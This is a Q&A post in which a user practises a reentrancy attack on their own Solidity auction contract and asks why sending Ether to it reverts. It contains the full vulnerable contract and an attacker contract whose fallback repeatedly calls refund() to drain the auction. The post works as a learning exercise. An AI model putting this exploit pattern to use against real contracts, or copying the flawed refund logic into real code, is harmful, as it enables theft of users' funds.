0

I'm trying to implement re-entrancy hack for my own contract.

Here is a great article that explains the method: https://medium.com/@gus_tavo_guim/reentrancy-attack-on-smart-contracts-how-to-identify-the-exploitable-and-an-example-of-an-attack-4470a2d8dfe4

I do not really understand why this is failing?

function sendSomeEthFirst() public payable { address(auction).transfer(msg.value); }

transact to ReentrancyHack.sendSomeEthFirst errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The constructor should be payable if you send value. Debug the transaction to get more information.

Short video illustrating the issue: https://youtu.be/F9mGfWLPdEA

// VULNERABLE, DO NOT USE
pragma solidity ^0.4.23;

contract Auction {

  string public description;
  string public instructions; // will be used for delivery address or email
  uint public price;
  bool public initialPrice = true; // at first asking price is OK, then +25% required
  uint public timestampEnd;
  address public beneficiary;
  bool public finalized = false;

  address public owner;
  address public winner;
  mapping(address => uint) public bids;
  address[] public accountsList; // so we can iterate: https://ethereum.stackexchange.com/questions/13167/are-there-well-solved-and-simple-storage-patterns-for-solidity

  // THINK: should be (an optional) constructor parameter?
  // For now if you want to change - simply modify the code
  uint public increaseTimeIfBidBeforeEnd = 24 * 60 * 60; // Naming things: https://www.instagram.com/p/BSa_O5zjh8X/
  uint public increaseTimeBy = 24 * 60 * 60;


  event Bid(address indexed winner, uint indexed price, uint indexed timestamp);
  event Refund(address indexed sender, uint indexed amount, uint indexed timestamp);

  modifier onlyOwner { require(owner == msg.sender, "only owner"); _; }
  modifier onlyWinner { require(winner == msg.sender, "only winner"); _; }
  modifier ended { require(now > timestampEnd, "not ended yet"); _; }

  function setDescription(string _description) public onlyOwner() {
    description = _description;
  }

  function setInstructions(string _instructions) public ended() onlyWinner()  {
    instructions = _instructions;
  }

  constructor(uint _price, string _description, uint _timestampEnd, address _beneficiary) public payable {
    require(_timestampEnd > now, "end of the auction must be in the future");
    owner = msg.sender;
    price = _price;
    description = _description;
    timestampEnd = _timestampEnd;
    beneficiary = _beneficiary;
  }

  function() public payable {

    if (msg.value == 0) { // when sending `0` it acts as if it was `withdraw`
      refund();
      return;
    }

    require(now < timestampEnd, "auction has ended"); // sending ether only allowed before the end

    if (bids[msg.sender] > 0) { // First we add the bid to an existing bid
      bids[msg.sender] += msg.value;
    } else {
      bids[msg.sender] = msg.value;
      accountsList.push(msg.sender); // this is out first bid, therefore adding 
    }

    if (initialPrice) {
      require(bids[msg.sender] >= price, "big too low, minimum is the initial price");
    } else {
      require(bids[msg.sender] >= (price * 5 / 4), "big too low, minimum 25% increment");
    }

    if (now > timestampEnd - increaseTimeIfBidBeforeEnd) {
      timestampEnd = now + increaseTimeBy;
    }

    initialPrice = false;
    price = bids[msg.sender];
    winner = msg.sender;
    emit Bid(winner, price, now);
  }

  function finalize() public ended() onlyOwner() {
    require(finalized == false, "can withdraw only once");
    require(initialPrice == false, "can withdraw only if there were bids");

    finalized = true; // THINK: DAO hack reentrancy - does it matter which order? (just in case setting it first)
    beneficiary.transfer(price);

    bids[winner] = 0; // setting it to zero that in the refund loop it is skipped
    for (uint i = 0; i < accountsList.length;  i++) {
      if (bids[accountsList[i]] > 0) {
        accountsList[i].transfer( bids[accountsList[i]] ); // send? transfer? tell me baby: https://ethereum.stackexchange.com/a/38642/2524
        bids[accountsList[i]] = 0; // in case someone calls `refund` again
      }
    }     
  }

  function refund() public {
    require(msg.sender != winner, "winner cannot refund");

    msg.sender.transfer( bids[msg.sender] );
    emit Refund(msg.sender, bids[msg.sender], now);
    bids[msg.sender] = 0;
  }

}

contract ReentrancyHack {
  Auction public auction;
  address public owner;

  constructor (address _auction) public payable {
    auction = Auction(_auction);
    owner = msg.sender;
  }

  modifier onlyOwner { require(owner == msg.sender, "only owner"); _; }

  function moveFundsToTheBase() public onlyOwner() {
      owner.transfer(address(this).balance);
  }

  event EmitNumber(uint balance);

  function sendSomeEthFirst() public payable {
      address(auction).transfer(msg.value);
  }

  function checkBalance(address who) view public returns(uint) {
    uint howMuch = auction.bids(who);
    return howMuch;
  }

  function hackDadShit() public {
    auction.refund();
  }

  function() public payable {
    if (address(auction).balance > 0.1 ether) {
      auction.refund();
    }
  }
}

Here is a very similar question: "The constructor should be payable if you send value. Debug the transaction to get more information. " error

1

Because I was following Medium article I was able to look into the code:

I did some refactoring:

  function() public payable {
      pay();
  }

  function pay() public payable {
      ...
  }

And then I can call it the following way:

  function sendSomeEthFirst() public payable {
     auction.pay.value(msg.value)();
  }

I still don't understand why it was failing:

 function sendSomeEthFirst() public payable {
      address(auction).transfer(msg.value);
  }

Is it because of this?

If the fallback function requires more than 2300 gas, the contract cannot receive Ether.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.